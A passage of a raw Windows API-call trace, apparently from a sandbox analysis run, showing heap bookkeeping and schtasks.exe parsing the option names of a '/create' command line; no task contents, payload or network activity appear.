MemoryPointer=0x1fba65fb6a0) returned 0x20 [0125.868] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb6a0) returned 1 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4700) returned 1 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4700) returned 0x8 [0125.868] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4700) returned 1 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb3a0) returned 1 [0125.868] GetProcessHeap () returned 0x1fba65f0000 [0125.868] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb3a0) returned 0x20 [0125.869] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb3a0) returned 1 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4720) returned 1 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4720) returned 0x10 [0125.869] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4720) returned 1 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb490) returned 1 [0125.869] GetProcessHeap () returned 0x1fba65f0000 [0125.869] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb490) returned 0x20 [0125.870] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb490) returned 1 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4740) returned 1 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4740) returned 0x8 [0125.870] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4740) returned 1 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb3d0) returned 1 [0125.870] GetProcessHeap () returned 0x1fba65f0000 [0125.870] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb3d0) returned 0x20 [0125.871] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb3d0) returned 1 [0125.871] GetProcessHeap () returned 0x1fba65f0000 [0125.871] GetProcessHeap () returned 0x1fba65f0000 [0125.871] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f3b90) returned 1 [0125.871] GetProcessHeap () returned 0x1fba65f0000 [0125.871] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f3b90) returned 0x4a [0125.872] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f3b90) returned 1 [0125.888] GetProcessHeap () returned 0x1fba65f0000 [0125.888] GetProcessHeap () returned 0x1fba65f0000 [0125.888] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb640) returned 1 [0125.888] GetProcessHeap () returned 0x1fba65f0000 [0125.888] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb640) returned 0x20 [0125.889] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb640) returned 1 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4780) returned 1 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4780) returned 0x8 [0125.889] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4780) returned 1 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb7f0) returned 1 [0125.889] GetProcessHeap () returned 0x1fba65f0000 [0125.889] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb7f0) returned 0x20 [0125.890] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb7f0) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fab70) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fab70) returned 0x10 [0125.890] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fab70) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb8b0) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb8b0) returned 0x20 [0125.890] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb8b0) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f47a0) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.890] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f47a0) returned 0x6 [0125.890] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f47a0) returned 1 [0125.890] GetProcessHeap () returned 0x1fba65f0000 [0125.891] GetProcessHeap () returned 0x1fba65f0000 [0125.891] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fb7c0) returned 1 [0125.891] GetProcessHeap () returned 0x1fba65f0000 [0125.891] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fb7c0) returned 0x20 [0125.891] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fb7c0) returned 1 [0125.891] GetProcessHeap () returned 0x1fba65f0000 [0125.891] GetProcessHeap () returned 0x1fba65f0000 [0125.891] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4e80) returned 1 [0125.891] GetProcessHeap () returned 0x1fba65f0000 [0125.891] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65f4e80) returned 0x18 [0125.891] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65f4e80) returned 1 [0125.891] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.892] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0125.892] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0125.892] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0125.892] RtlVerifyVersionInfo (VersionInfo=0xe52467bfd0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0125.892] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.892] lstrlenW (lpString="create") returned 6 [0125.892] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0125.892] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.892] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.892] lstrlenW (lpString="create") returned 6 [0125.892] GetProcessHeap () returned 0x1fba65f0000 [0125.892] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb460 [0125.892] GetProcessHeap () returned 0x1fba65f0000 [0125.892] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65fa910 [0125.892] _memicmp (_Buf1=0x1fba65fa910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.892] GetProcessHeap () returned 0x1fba65f0000 [0125.892] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x16) returned 0x1fba65faab0 [0125.892] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.892] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.892] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fba65f9b00, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0125.892] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xe52467c128 | out: lpdwHandle=0xe52467c128) returned 0x76c [0125.892] GetProcessHeap () returned 0x1fba65f0000 [0125.892] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x776) returned 0x1fba65fbd40 [0125.893] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1fba65fbd40 | out: lpData=0x1fba65fbd40) returned 1 [0125.893] VerQueryValueW (in: pBlock=0x1fba65fbd40, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xe52467c0c0, puLen=0xe52467c120 | out: lplpBuffer=0xe52467c0c0*=0x1fba65fc0f0, puLen=0xe52467c120) returned 1 [0125.893] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.893] _vsnwprintf (in: _Buffer=0x1fba65f9b00, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xe52467c098 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0125.893] VerQueryValueW (in: pBlock=0x1fba65fbd40, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xe52467c0b0, puLen=0xe52467c118 | out: lplpBuffer=0xe52467c0b0*=0x1fba65fbf20, puLen=0xe52467c118) returned 1 [0125.893] lstrlenW (lpString="schtasks.exe") returned 12 [0125.893] lstrlenW (lpString="schtasks.exe") returned 12 [0125.893] lstrlenW (lpString=".EXE") returned 4 [0125.893] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0125.893] lstrlenW (lpString="schtasks.exe") returned 12 [0125.893] lstrlenW (lpString=".EXE") returned 4 [0125.893] lstrlenW (lpString="schtasks") returned 8 [0125.893] lstrlenW (lpString="/create") returned 7 [0125.893] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.893] _vsnwprintf (in: _Buffer=0x1fba65f9b00, _BufferCount=0x19, _Format="%s %s", _ArgList=0xe52467c098 | out: _Buffer="schtasks /create") returned 16 [0125.893] _memicmp (_Buf1=0x1fba65f4c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.894] GetProcessHeap () returned 0x1fba65f0000 [0125.894] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb8b0 [0125.894] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.894] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0125.894] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0125.894] GetProcessHeap () returned 0x1fba65f0000 [0125.894] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x30) returned 0x1fba65f4780 [0125.894] _vsnwprintf (in: _Buffer=0x1fba65f3860, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xe52467c098 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0125.894] GetProcessHeap () returned 0x1fba65f0000 [0125.894] GetProcessHeap () returned 0x1fba65f0000 [0125.894] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fbd40) returned 1 [0125.894] GetProcessHeap () returned 0x1fba65f0000 [0125.894] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fbd40) returned 0x776 [0125.894] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fbd40) returned 1 [0125.894] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="create") returned 6 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="?") returned 1 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="s") returned 1 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="u") returned 1 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="p") returned 1 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="ru") returned 2 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="rp") returned 2 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.895] lstrlenW (lpString="sc") returned 2 [0125.895] GetThreadLocale () returned 0x409 [0125.895] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="mo") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="d") returned 1 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="m") returned 1 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="i") returned 1 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="tn") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="tr") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="st") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="sd") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="ed") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.896] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.896] lstrlenW (lpString="it") returned 2 [0125.896] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="et") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="k") returned 1 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="du") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="ri") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="z") returned 1 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="f") returned 1 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="v1") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="xml") returned 3 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="ec") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.897] lstrlenW (lpString="rl") returned 2 [0125.897] GetThreadLocale () returned 0x409 [0125.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.898] lstrlenW (lpString="delay") returned 5 [0125.898] GetThreadLocale () returned 0x409 [0125.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.898] lstrlenW (lpString="np") returned 2 [0125.898] GetThreadLocale () returned 0x409 [0125.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.898] lstrlenW (lpString="hresult") returned 7 [0125.898] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.898] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.898] lstrlenW (lpString="/create") returned 7 [0125.898] lstrlenW (lpString="-/") returned 2 [0125.898] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.898] lstrlenW (lpString="create") returned 6 [0125.898] lstrlenW (lpString="create") returned 6 [0125.898] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.898] lstrlenW (lpString="create") returned 6 [0125.898] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.898] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.898] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.898] lstrlenW (lpString="|create|") returned 8 [0125.898] lstrlenW (lpString="|create|") returned 8 [0125.898] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0125.898] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.898] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.898] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.898] lstrlenW (lpString="/tn") returned 3 [0125.898] lstrlenW (lpString="-/") returned 2 [0125.899] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.899] lstrlenW (lpString="create") returned 6 [0125.899] lstrlenW (lpString="create") returned 6 [0125.899] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.899] lstrlenW (lpString="tn") returned 2 [0125.899] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.899] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.899] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.899] lstrlenW (lpString="|create|") returned 8 [0125.899] lstrlenW (lpString="|tn|") returned 4 [0125.899] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0125.899] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.899] lstrlenW (lpString="?") returned 1 [0125.899] lstrlenW (lpString="?") returned 1 [0125.899] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.899] lstrlenW (lpString="tn") returned 2 [0125.899] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.899] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|?|") returned 3 [0125.899] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.899] lstrlenW (lpString="|?|") returned 3 [0125.899] lstrlenW (lpString="|tn|") returned 4 [0125.899] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.899] lstrlenW (lpString="s") returned 1 [0125.899] lstrlenW (lpString="s") returned 1 [0125.899] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.899] lstrlenW (lpString="tn") returned 2 [0125.899] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|s|") returned 3 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.900] lstrlenW (lpString="|s|") returned 3 [0125.900] lstrlenW (lpString="|tn|") returned 4 [0125.900] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.900] lstrlenW (lpString="u") returned 1 [0125.900] lstrlenW (lpString="u") returned 1 [0125.900] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.900] lstrlenW (lpString="tn") returned 2 [0125.900] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|u|") returned 3 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.900] lstrlenW (lpString="|u|") returned 3 [0125.900] lstrlenW (lpString="|tn|") returned 4 [0125.900] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.900] lstrlenW (lpString="p") returned 1 [0125.900] lstrlenW (lpString="p") returned 1 [0125.900] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.900] lstrlenW (lpString="tn") returned 2 [0125.900] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|p|") returned 3 [0125.900] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.900] lstrlenW (lpString="|p|") returned 3 [0125.900] lstrlenW (lpString="|tn|") returned 4 [0125.900] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.900] lstrlenW (lpString="ru") returned 2 [0125.900] lstrlenW (lpString="ru") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.901] lstrlenW (lpString="tn") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.901] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ru|") returned 4 [0125.901] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.901] lstrlenW (lpString="|ru|") returned 4 [0125.901] lstrlenW (lpString="|tn|") returned 4 [0125.901] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0125.901] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.901] lstrlenW (lpString="rp") returned 2 [0125.901] lstrlenW (lpString="rp") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.901] lstrlenW (lpString="tn") returned 2 [0125.901] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.901] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rp|") returned 4 [0125.901] _vsnwprintf (in: 